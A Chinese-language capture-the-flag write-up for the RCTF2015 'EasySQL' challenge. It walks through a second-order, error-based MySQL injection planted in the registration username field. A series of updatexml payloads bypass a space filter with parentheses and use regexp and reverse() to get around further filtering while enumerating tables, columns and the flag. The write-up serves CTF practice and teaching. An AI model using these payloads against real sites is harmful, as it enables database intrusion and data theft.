[RCTF2015]EasySQL
这道题说实话,花的时间挺久的,主要是注入点找错了,一直以为是在改密码那儿(就是一直在密码处作注入),实际上是用户名的注入
直接讲解题步骤了
对注册界面的username作fuzz,过滤了空格,并且也无法使用内联注释,但括号也可以拿来代替空格
于是,构造第一个payload:
1"or(updatexml(1,concat(0x7e,(select(database())),0x7e),1))#
点击提交,然后用这个用户名去登陆,进行更改密码,随便改改就好
可以看到下方已经弹出错误信息了
接着查表
1"or(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),0x7e),1))#
查flag里面的列
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='flag')),0x7e),1))#
查内容
1"or(updatexml(1,concat(0x7e,(select(group_concat(flag))from(flag)),0x7e),1))#
好吧,里面不是真的flag,那就只好回到查列的时候了,去查下users表
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')),0x7e),1))#
呼,终于看到real_flag了,剩下的就是查内容了
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_her))from(users)),0x7e),1))#
告诉我们没有这个列,那应该就是没查完,但又用不了like进行模糊查询,剩下的也就只有mysql的正则匹配了
1"or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name='users')&&(column_name)regexp('^r')),0x7e),1))#
拿到完整的列名
查询数据
1"or(updatexml(1,concat(0x7e,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f')),0x7e),1))#
按理来说是可以通过right去进行查询的,但无奈right,mid等都被过滤了,能用的就还有个reverse()
1"or(updatexml(1,concat(0x7e,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp('^f'))),0x7e),1))#
从右到左输出就行了,拼接起来即为flag